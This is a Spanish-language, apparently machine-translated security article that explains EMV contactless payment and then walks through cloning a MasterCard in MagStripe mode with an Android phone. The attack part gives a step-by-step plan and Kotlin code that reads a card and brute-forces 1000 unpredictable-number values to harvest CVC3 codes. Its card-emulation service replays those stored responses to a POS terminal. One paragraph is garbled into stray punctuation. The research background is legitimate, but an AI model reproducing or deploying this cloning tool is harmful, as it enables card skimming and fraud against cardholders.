Clonar una tarjeta sin contacto usando una aplicación móvil

Siempre fue interesante ver lo que sucede en una tarjeta bancaria debajo del "capó". Cómo se implementa el protocolo de comunicación de una tarjeta bancaria y un terminal POS, cómo funciona y qué tan seguro es. Tal oportunidad apareció ante mí cuando estaba haciendo una pasantía en Digital Security. Como resultado, al analizar una vulnerabilidad conocida de las tarjetas EMV en modo MagStripe, se decidió implementar una aplicación móvil que puede comunicarse con el terminal a través de una interfaz sin contacto, utilizando sus propios comandos y un análisis detallado de las solicitudes y respuestas. Y también intente implementar el método de clonación de tarjetas MasterCard en modo MagStripe.

En este artículo trataré de describir qué es una tarjeta EMV, cómo funciona y cómo puede usar Android para intentar clonar su tarjeta MasterCard.

"Hay algunas cosas que el dinero no puede comprar. Para todo lo demás, hay MasterCard »

¿Qué es una tarjeta EMV?

EMV es el estándar internacional para tarjetas bancarias con chip. E uropay + M asterCard + V ISA participó en el desarrollo de este estándar, de ahí su nombre. Intentemos descubrir cómo se comunica la tarjeta con el terminal POS a través de una interfaz sin contacto.

Comencemos con lo básico.

Una tarjeta sin contacto física EMV funciona casi igual que una etiqueta RFID. Si es básico, el chip ingresa al campo electromagnético, y en un circuito conductor cerrado (en nuestro caso será una antena ubicada alrededor del perímetro), colocado en un campo magnético alterno, se genera una corriente eléctrica alterna. Esta corriente carga un condensador especial conectado en paralelo al circuito resonante de la tarjeta. La energía almacenada en el condensador se utiliza para realizar una tarjeta de microcircuito para diversas operaciones. Cuando el lector cambia el campo electromagnético, los cambios se notarán inmediatamente en el chip. Usando la modulación de señal, podemos transmitir información en forma binaria. Si conecta la resistencia de carga en la tarjeta o cambia la capacitancia del condensador, puede cambiar la intensidad de corriente en el circuito de la tarjeta, lo que conducirá a un cambio en el campo electromagnético creado por ella en el área del circuito del lector, por lo que la tarjeta transmite datos. El lector tendrá que detectar estos cambios. Esta interacción física se rige por la norma ISO / IEC 14443 "Tarjetas de identificación - Tarjetas de circuitos integrados sin contacto - Tarjetas de proximidad" .

El chip de la tarjeta en sí es una tarjeta inteligente que ejecuta JavaCard, una versión separada de Java para plataformas con bajos recursos informáticos y soporte para algoritmos criptográficos. JavaCard descarga applets, que son aplicaciones. También hay una GlobalPlatform que es un cierto estándar para JavaCard, que brinda la capacidad de administrar de forma segura los datos en el mapa y le permite descargar, modificar y eliminar aplicaciones en el mapa. En este artículo, no consideraremos los mecanismos de seguridad de la tarjeta inteligente en sí. Es suficiente saber que los datos protegidos, por ejemplo, la clave privada y la clave maestra secreta de la tarjeta, están en un lugar seguro y es imposible eliminarlos utilizando medios estándar.

También les recuerdo una pequeña terminología para aquellos que no están familiarizados.

Terminal de punto de venta (Punto de venta): un dispositivo del vendedor que lee una tarjeta e inicia un pago. Además, llamaremos a este dispositivo simplemente un terminal.
El banco emisor es el banco que emitió su tarjeta.
Adquirer Bank : un banco que emite terminales POS a los vendedores y procesa los pagos de ellos.
El sistema de pago es el enlace central entre el banco adquirente y el banco emisor, absolutamente todos los pagos pasan por él, y sabe a qué banco debe transferir el dinero. Existen muchos sistemas de pago en el mundo, además de las conocidas Visa y MasterCard, también están American Express , China UnionPay y el sistema de pago ruso MIR .

Bueno, la tarjeta y el lector pueden comunicarse. Se envían entre sí comandos APDU en forma de Tag-Length-Value, es decir el nombre de la etiqueta se transmite en hexadecimal, su longitud y valor en sí. Todos los comandos se describen, por supuesto, en la documentación y se ven así:



La transacción estándar de EMV se lleva a cabo en varias etapas, describiré el algoritmo de interacción completo en el caso de una interfaz de contacto, para una interfaz sin contacto, el algoritmo se acorta un poco:

• Selección de aplicaciones;
• Inicialización del procesamiento de la solicitud;
• Leer datos de la aplicación
• Autenticación fuera de línea
• Restricciones de procesamiento;
• Cheque del titular de la tarjeta;
• Gestión de riesgos en el lado de la terminal;
• Análisis de acciones terminales;
• Gestión de riesgos en el lado de la tarjeta;
• Análisis de las acciones de la tarjeta;
• Procesamiento en línea;
• La finalización de la operación.

Consideramos brevemente cada operación.

Selección de aplicación. A menudo sucede que puede haber varias aplicaciones en una tarjeta. Por ejemplo, una tarjeta bancaria y un boleto de viaje. Y el terminal de alguna manera necesita descubrir dónde y qué algoritmo usar. El llamado Identificador de aplicación (AID ) se utiliza para seleccionar una aplicación. Para entender esto, el terminal envía un comando SELECCIONAR . Por ejemplo, el AID de la tarjeta Visa Classic se verá así: A0000000031010 . Si varios de estos códigos responden y el terminal puede funcionar con varias aplicaciones, el terminal mostrará una lista y ofrecerá seleccionar la aplicación que necesitamos. Si el terminal no admite ninguno de los códigos de aplicación, el terminal rechazará la operación.

Inicializando el procesamiento de la solicitud. Aquí, primero se verifica la ubicación geográfica. Por ejemplo, las tarjetas Maestro Momentum pueden funcionar para el pago solo en Rusia. Esta etapa se realiza para proporcionar a los emisores la oportunidad de aplicar los métodos existentes de gestión de riesgos en línea al realizar operaciones fuera de línea. En esta etapa, una transacción EMV puede cancelarse por iniciativa de la propia tarjeta si el emisor prohíbe este tipo de transacción en un país determinado del mundo. Además, la tarjeta transmite al terminal un conjunto de información especialmente estructurada que contiene una descripción de la funcionalidad de la tarjeta y la aplicación.

Leer los datos de la aplicación. Varios datos de la tarjeta necesarios para la transacción se transmiten al terminal, por ejemplo, número de tarjeta, fecha de vencimiento, contador de transacciones y muchos otros datos. Algunos de ellos serán discutidos más adelante.

Datos de muestra:



También se transmite un certificado de la clave pública del banco emisor y la tarjeta en sí. Para que el terminal pueda verificar la firma digital de algunos datos de la tarjeta, se utiliza la infraestructura PKI (Infraestructura de clave pública). En resumen, el sistema de pago tiene un par de claves: públicas y privadas, y el sistema de pago es para todos los participantes de la CA (Autoridad del Centro) . De hecho, el sistema de pago para cada banco del emisor emite un nuevo par de claves, y al mismo tiempo genera un certificado de la clave pública del banco del emisor, firmando con la clave privada CA. Además, cuando el banco emite una nueva tarjeta, genera un par de claves para la tarjeta, y también genera un certificado de la clave pública de la tarjeta, firmando con la clave privada del banco. En las terminales, generalmente se conecta un certificado de clave pública para varios sistemas de pago. Por lo tanto, cuando la tarjeta transmite el certificado de clave pública del banco emisor y el certificado de la tarjeta en sí, el terminal puede verificar fácilmente toda la cadena utilizando la clave pública del sistema de pago. El terminal, usando la clave pública del sistema de pago, primero verifica la autenticidad del certificado bancario del emisor, si es genuino, entonces se puede confiar y ahora usando el certificado bancario del emisor puede verificar el certificado de la tarjeta. Más detalles en el artículo sobre seguridad EMV .

Autenticación fuera de línea. El terminal determina el tipo de método de autenticación sin conexión compatible. Hay estática ( Autenticación de datos estática - SDA ), dinámica ( Autenticación de datos dinámica - DDA ) y combinada ( Autenticación de datos combinada - CDA ). Estos métodos también se basan en PKI. SDA es solo datos firmados en la clave privada del banco del emisor, DDA : el terminal envía un número aleatorio y la tarjeta debe firmarlo con su clave privada, y el terminal verificará esta firma utilizando el certificado de tarjeta recibido anteriormente, por lo que el terminal se asegurará de que la tarjeta realmente tiene una clave privada, por lo tanto, es genuina. CDA es solo una combinación de ambos.

Restricciones de manejo. Aquí, el terminal verifica los datos recibidos previamente de la tarjeta para determinar la condición de idoneidad para esta operación. Por ejemplo, verifica las fechas de inicio / finalización de la aplicación Fecha de vencimiento de la aplicación (Etiqueta '5F24') y Fecha de vigencia de la aplicación (Etiqueta '5F25') . También verifica la versión de la aplicación. Los resultados de las operaciones realizadas en esta etapa también se registran en el informe TVR (resultados de la verificación del terminal) . Según los resultados de esta etapa, la transacción no se puede cancelar, incluso si, por ejemplo, la aplicación ha expirado.

Cheque titular de la tarjeta. La verificación del titular de la tarjeta se lleva a cabo para autenticar a la persona que proporcionó la tarjeta y verificar si él es el verdadero propietario de la tarjeta. El estándar EMV proporciona varios métodos de verificación del titular de la tarjeta . Los métodos de verificación se definen tanto en el terminal como en el mapa. Están contenidos en las llamadas listas CVM . En el proceso de ejecución, el terminal y la tarjeta comparan las listas CVM recibidas y seleccionan el método de verificación general.

Lista de métodos de verificación admitidos:

• No se requiere CVM ('011111'b);
• Fallo en el procesamiento de CVM ('000000'b);
• Firma ('011110'b);
• PIN cifrado verificado en línea ('000010'b);
• Verificación de PIN de texto sin formato realizada por ICC ('000001'b);
• Verificación de PIN de texto sin formato realizada por ICC y firma ('000011'b);
• Verificación de PIN cifrada realizada por ICC ('000100'b);
• Verificación de PIN cifrada realizada por ICC y firma ('000101'b).

Aquí también hay información interesante sobre este tema.

Gestión de riesgos en el lateral de la terminal. En esta etapa, el terminal realiza una verificación interna de los parámetros de la transacción, en función de la configuración de gestión de riesgos del banco adquirente. El terminal puede realizar procedimientos de gestión de riesgos en cualquier momento entre la finalización del proceso de lectura de los datos de la tarjeta y la formación del primer comando GENERATE AC por parte del terminal. La gestión de riesgos en el lado terminal incluye tres mecanismos:

• control del tamaño de las operaciones realizadas en la tarjeta ( Comprobación de límite de piso );
• selección de transacción aleatoria para la autorización en línea de esta transacción por parte del emisor ( Selección de transacción aleatoria );
• verificar la actividad fuera de línea del uso de la tarjeta ( Comprobación de velocidad ).

Análisis de acciones terminales. En esta etapa, el terminal analiza los resultados de los pasos anteriores de la transacción. En función de los resultados del análisis, el terminal toma una decisión sobre si realizar la operación en línea, permitir que se realice fuera de línea o rechazar la operación.

Gestión de riesgos en el lado de la tarjeta. La tarjeta, después de recibir del comando GENERATE AC datos sobre la transacción, el terminal y los resultados de las verificaciones del terminal, a su vez, realiza sus propios procedimientos de gestión de riesgos y toma su propia decisión sobre cómo completar la operación.

Análisis de las acciones de la tarjeta. En esta etapa, la tarjeta completa los procedimientos de gestión de riesgos y genera un criptograma de respuesta al terminal. Si la tarjeta decide aprobar la transacción, se genera un Certificado de transacción . Si la tarjeta decide realizar la operación en tiempo real, genera un ARQC (criptograma de solicitud de autorización) . Si la tarjeta utiliza métodos de autorización alternativos, se utiliza la Referencia de autorización de solicitud . En caso de que la tarjeta rechace la transacción, el Criptograma de autenticación de la aplicación .

Se necesita otro criptograma ARPC (Criptograma de respuesta de autorización) para autenticar al emisor. El emisor genera un ARPC de criptograma y envía el criptograma a la tarjeta, si la tarjeta confirma el criptograma, el emisor es autenticado por la tarjeta.

Un poco sobre la seguridad de las claves y la autenticación mutua de la tarjeta y el emisor del libro de I. M. Goldovsky:

El significado de la autenticación mutua es que la tarjeta y el terminal se autentican entre sí mediante la autenticación de los criptogramas ARQC y ARPC. Los criptogramas son datos generados usando una clave secreta (que es conocida por la tarjeta y el banco por el emisor), número de transacción, número aleatorio generado por el terminal, así como algunos detalles de la transacción, terminal y tarjeta. En el caso de ARPC, el código de respuesta de autorización del emisor también se agrega a los datos enumerados. Sin conocer la clave secreta de la tarjeta para generar un criptograma, es imposible calcular los valores ARQC / ARPC en el tiempo previsible con el nivel actual de tecnología y, por lo tanto, el hecho de su verificación exitosa indica la autenticidad de la tarjeta y el emisor. La autenticación en línea es la forma más confiable de autenticar una tarjeta. Esto se debe al hecho de que es realizado directamente por el emisor, sin un intermediario en forma de terminal. Además, el algoritmo 3DES con una clave temporal de 112 bits se utiliza para la autenticación en línea, cuya potencia criptográfica corresponde a la potencia criptográfica del algoritmo RSA con la longitud del módulo de clave asimétrica utilizada para la autenticación fuera de línea de la aplicación de la tarjeta que excede los 1700 bits. El uso de teclas asimétricas de esta longitud en la tarjeta sigue siendo bastante raro. Por lo general, se utilizan claves con una longitud de módulo de 1024, 1152 o 1408 bits.

En última instancia, una transacción en línea pasa por una cadena:
Tarjeta <--> TPV-Terminal <--> Adquisición del Banco <--> Sistema de Pago <--> Emisor del Banco.

Clone MasterCard en modo MagStripe

Procedemos directamente al principio de clonación. Este método de ataque con tarjeta sin contacto fue publicado por dos investigadores Michael Roland, Josef Langer, de la Universidad de Austria. Se basa en un principio general llamado Skimming . Este es un escenario en el que un atacante roba dinero de una tarjeta bancaria leyendo (copiando) información de esta tarjeta. En el caso general, es importante mantener el PIN en secreto y no filtrarlo. Pero en el método de los austriacos no necesitamos saber esto. La clonación de una tarjeta de pago es exitosa para la versión del núcleo de la aplicación EMV Contactless Kernel 2. La versión de este protocolo admite dos modos de funcionamiento para las tarjetas sin contacto: el protocolo EMV (MasterCard PayPass M / Chip) y el modo MagStripe (MasterCard PayPass MagStripe) .

MagStripe es un modo de soporte de tarjeta de banda magnética. Este modo se implementa en tarjetas MasterCard con una interfaz sin contacto. Es probable que el modo MagStripe sea necesario para los bancos que tienen dificultades para transferir toda la infraestructura para admitir transacciones EMV sin chip. Por cierto, las tarjetas Visa también tienen un modo de operación similar: PayWave MSD (Magnetic Stripe Data) .

El proceso de procesamiento de transacciones para tarjetas sin contacto se trunca en comparación con las tarjetas con chip y generalmente funciona en el siguiente modo:

1. El terminal envía un comando SELECT PPSE (Proximity Payment System Environment). La tarjeta envía una lista de aplicaciones compatibles.
2. El terminal envía un comando SELECCIONAR . En respuesta, recibe los detalles necesarios de la aplicación.
3. El terminal envía el comando GET_PROCESSING_OPTIONS . La tarjeta responde qué tipo de autenticación admite y si existe allí la verificación del titular de la tarjeta.
4. El terminal envía el comando READ_RECORDS . La tarjeta en respuesta envía Track1 y Track2 casi igual que la registrada en la banda magnética de la tarjeta.
5. El terminal envía el comando COMPUTE_CRYPTOGRAPHIC_CHECKSUM . Lo que significa que la tarjeta debe generar un valor CVC3 basado en el número impredecible pasado.

La tarjeta admite el comando especial COMPUTE CRYPTOGRAPHIC CHECKSUM, cuyo argumento son los datos definidos en el Objeto de datos de número impredecible (UDOL). Como resultado, la tarjeta que utiliza el algoritmo 3DES y la clave secreta calcula el valor dinámico CVC3 (Código de verificación de tarjeta). Como argumento para la función 3DES, se utiliza la concatenación de los datos UDOL y el contador de transacciones (Application Transaction Counter, ATC). Por lo tanto, el valor de CVC3 siempre depende de los objetos UN y ATC.

En otras palabras, este comando es necesario para que la tarjeta genere una cierta "firma" para que el emisor pueda verificar la tarjeta. Sin embargo, la firma de la transacción en sí falta en esta firma. La firma contiene valores ATC - 2 bytes , CVC3 (Track1) - 2 bytes , CVC3 (Track2) - 2 bytes , que son generados por la tarjeta en función de la clave secreta, que el banco emisor y el contador de transacciones (ATC) también conocen. Al mismo tiempo, para generar la firma, el terminal POS informa a la tarjeta UN (número impredecible) - 4 bytes, que también se utiliza en la generación de la firma. El número impredecible impide la generación de códigos de autenticación en una tarjeta real para su uso posterior en transacciones fraudulentas. Para el ataque, la ONU interfiere fuertemente con nosotros, ya que no es posible enumerar 4 bytes sin ir más allá de los límites del contador de transacciones. Sin embargo, hay algunas debilidades en la especificación de esto.

En primer lugar, la especificación restringe la ONU a la codificación de números, es decir, el Código Decimal Binario (BCD) , lo que esencialmente significa que si observamos un número codificado en HEX, solo veremos números del 0 al 9, todos los demás valores se consideran como si estuviera prohibido Por lo tanto, la cantidad de ONU disminuye de 4,294,967,295 a 99,999,999.

En segundo lugar, la tarjeta determina el número de dígitos significativos de la ONU. Por lo tanto, dependiendo de los parámetros especiales en las pistas, el número de dígitos en la ONU puede ser de 10 a 10,000, dependiendo del tipo de tarjeta, en la práctica, se encuentran con mayor frecuencia 1000 valores.

Por lo tanto, el plan de ataque es el siguiente:

1. Leemos la tarjeta y descubrimos el número de dígitos significativos de la ONU, que proporcionará el terminal
2. Ordenamos todas las UN, obtenemos todos los valores posibles de la función COMPUTE_CRYPTOGRAHIC_CHECKSUM , los guardamos en la tabla correspondiente con la asignación UN -> Resultado
3. Lo llevamos a la terminal POS, descubrimos el número que solicita la terminal POS.
4. Seleccionamos el resultado deseado de la tabla y lo sustituimos en respuesta al terminal.
5. La transacción se va.
6. BENEFICIOS Pero el éxito de la aprobación de la transacción no está garantizado, porque el banco emisor puede rechazar dicha transacción.

También vale la pena señalar que el contador de transacciones (ATC) evita la reutilización de los códigos de autenticación utilizados anteriormente, lo que significa que si usamos este ataque, debemos copiar la tarjeta nuevamente, ya que el contador de transacciones ya se usó para obtener información y se usó en la firma, lo que significa que si tuviéramos un contador de transacciones de 1000, y después de enviar la transacción al banco, el banco ya no aceptará transacciones con un contador por debajo de <1001. , 2 , , 65 , .

. , COMPUTE_CRYPTOGRAPHIC_CHECKSUM . CVC3 , SELECT , GET_PROCESSING_OPTIONS , COMPUTE_CRYPTOGRACHIC_CHECKSUM . CVC3. , 1000 Google Galaxy Nexus S .

Terminal Simulator MasterCard. NFC- . . POS- . , .



NFC ACR122 .



. Kotlin Android. .

data class Command( var CLA: String = 0x00.toString(), var INS: String = 0x00.toString(), var P1: String = "", var P2: String = "", var Lc: String = "", var Nc: String = "", var Le: String = "", var Nr: String = "", var SW1WS2: String = "" ) { fun split(): ByteArray { return getHexString().hexToByteArray() } fun getHexString() = CLA.plus(INS).plus(P1).plus(P2).plus(Lc).plus(Nc).plus(Le).plus(Nr).plus(SW1WS2) } 

Primero, necesitamos configurar el trabajo con NFC. En el teléfono podemos trabajar en dos modos. En el modo de tarjeta, esto es cuando respondemos a los comandos del terminal, y en el modo de terminal cuando enviamos comandos y leemos, por ejemplo, una tarjeta. Es decir primero, podemos clonar la tarjeta y luego asegurarnos de responder a las solicitudes del terminal con comandos ya preparados.

La siguiente es una implementación simplificada de interacción con NFC:

  private var nfcAdapter: NfcAdapter? = null /*!< represents the local NFC adapter */ private var tag: Tag? = null /*!< represents an NFC tag that has been discovered */ private lateinit var tagcomm: IsoDep /*!< provides access to ISO-DEP (ISO 14443-4) */ private val nfctechfilter = arrayOf(arrayOf(NfcA::class.java.name)) /*!< NFC tech lists */ private var nfcintent: PendingIntent? = null .... override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) nfcAdapter = NfcAdapter.getDefaultAdapter(this) nfcintent = PendingIntent.getActivity(this, 0, Intent(this, javaClass).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0) cardEmulation = CardEmulation.getInstance(nfcAdapter) nfcAdapter?.enableForegroundDispatch(this, nfcintent, null, nfctechfilter) } .... override fun onNewIntent(intent: Intent) { super.onNewIntent(intent) tag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG) cardReading(tag) } ..... override fun onResume() { super.onResume() if (canSetPreferredCardEmulationService()) { this.cardEmulation?.setPreferredService(this, ComponentName(this, "com.nooan.cardpaypasspass.NfcService")); } } override fun onPause() { if (canSetPreferredCardEmulationService()) { this.cardEmulation?.unsetPreferredService(this) } super.onPause() } private fun cardReading(tag: Tag?) { tagcomm = IsoDep.get(tag) try { tagcomm.connect() } catch (e: IOException) { error = "Reading card data ... Error tagcomm: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } try { when { commands != null -> readCardWithOurCommands() mChip -> readCardMChip() else -> readCardMagStripe() } } catch (e: IOException) { error = "Reading card data ... Error tranceive: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } finally { tagcomm.close() } } protected fun execute(command: Command, log:Boolean): ByteArray { val bytes = command.split() listLogs.add(bytes.toHex()) val recv = tagcomm.transceive(bytes) listLogs.add(recv.toHex()) return recv } 

Esto describe la secuencia de comandos y enumera los valores de Número impredecible en un ciclo de 0 a 999, cambiamos Nc a "00000 $ {String.format ("% 03d ", i)}". Reemplazar (".. (?! $ ) ". toRegex ()," $ 0 "). Y no olvide ejecutar GET_PROCESSING_OPTIONS cada vez antes de COMPUTE_CRYPTOGRAPHIC_CHECKSUM; de lo contrario, el monto del cheque no se calculará.

Como resultado, todo esto puede escribirse en un archivo y usarse cuando se trabaja con este terminal. Aquí obtenemos el nombre y el número de tarjeta, podemos mostrarlo en la pantalla.

  private fun readCardMagStripe() { try { var response = execute(Commands.SELECT_PPSE) //       val select = Commands.SELECT_APPLICATION.apply { Nc = response.toHex().substring(52, 68) SW1WS2 = "00" } val cardtype: String = getTypeCard(select.split()) execute(select) execute(Commands.GET_PROCESSING_OPTIONS) response = execute(Commands.READ_RECORD_1.apply { P2 = "0C" Lc = "00" Le = "" Nc = "" }) if (cardtype === "MasterCard") { cardnumber = "Card number: ${response.getCards()}" cardexpiration = "Card expiration: ${response.getExpired()}" showData() for (i in 0..999) { execute(Commands.GET_PROCESSING_OPTIONS, false) execute(Commands.COMPUTE_CRYPTOGRAPHIC_CHECKSUM.apply { Lc = "04" Nc = "00000${String.format("%03d", i)}".replace("..(?!$)".toRegex(), "$0 ") }) } } finishRead() } 

Un conjunto de comandos que necesitamos.

 object Commands { val SELECT_PPSE = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Lc = "0E", Nc = "32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00") val SELECT_APPLICATION = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Nc = "07") val GET_PROCESSING_OPTIONS = Command(CLA = "80", INS = "A8", P1 = "00", P2 = "00", Lc = "02", Nc = "83 00", Le = "00") val READ_RECORD_1 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "14", Lc = "00", Le = "00") val READ_RECORD_2 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "1C", Lc = "00", Le = "00") val READ_RECORD_3 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "24", Lc = "00", Le = "00") val READ_RECORD_4 = Command(CLA = "00", INS = "B2", P1 = "02", P2 = "24", Lc = "00", Le = "00") val COMPUTE_CRYPTOGRAPHIC_CHECKSUM = Command(CLA = "80", INS = "2A", P1 = "8E", P2 = "80", Le = "00") } 

Para implementar escuchas telefónicas de comandos desde el terminal, debe iniciar su servicio y declararlo en el manifiesto. En este servicio, un comando del terminal llega a processCommandApdu, lo comparamos con el que está almacenado en el archivo y damos la respuesta, que se escribe en la siguiente línea.

  <service android:name=".NfcService" android:exported="true" android:permission="android.permission.BIND_NFC_SERVICE"> <intent-filter> <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/apdu_config" /> </service> 

 class NfcService : HostApduService() { fun getData(context: Context?): List<Command> { var list: List<Command> = arrayListOf() filePath?.let { if (it.isNotBlank()) { list = getCommands(Uri.fromFile(File(it)).readTextFromUri(context), this::showError) } else { Toast.makeText(applicationContext, "Not found file path", Toast.LENGTH_SHORT).show() } } return list } private var commands: List<Command>? = arrayListOf() override fun processCommandApdu(apdu: ByteArray?, bundle: Bundle?): ByteArray { commands = getData(applicationContext) commands?.forEachIndexed { i, command -> if (apdu.toHex() == command.getHexString()) { return commands!![i+1].split() } } Log.e("LOG", "Finnish") return Value.magStripModeEmulated.hexToByteArray() } 

Un par de capturas de pantalla de la aplicación. Leemos la tarjeta y el registro de parsim:



Por lo tanto, es posible simular el funcionamiento de una tarjeta EMV sin contacto en un teléfono con datos de la tarjeta. Pero afortunadamente o desafortunadamente para alguien, este ataque no funciona en Rusia. Según nuestros experimentos, la transacción siempre llegó al banco del emisor y fue rechazada por el propio banco. Además, no pudimos realizar una transacción fuera de línea con MagStripe. Sin embargo, tal ataque puede implementarse en otros países donde el uso del modo MagStripe es bastante común y el algoritmo de gestión de riesgos es ligeramente diferente, por ejemplo, en los Estados Unidos.

Enlaces con la ayuda de este artículo

Tarjetas de microprocesador bancario / I.M. Goldovsky - M.: TsIPSiR: Alpina Pub Lakers, 2010 .-- 686 p.
Proyecto EMV: paso a paso
Investigación de investigadores austriacos
Enlace al código de la aplicación
Simulador de terminal.

Gracias a barracud4 por ayudarme a preparar este artículo.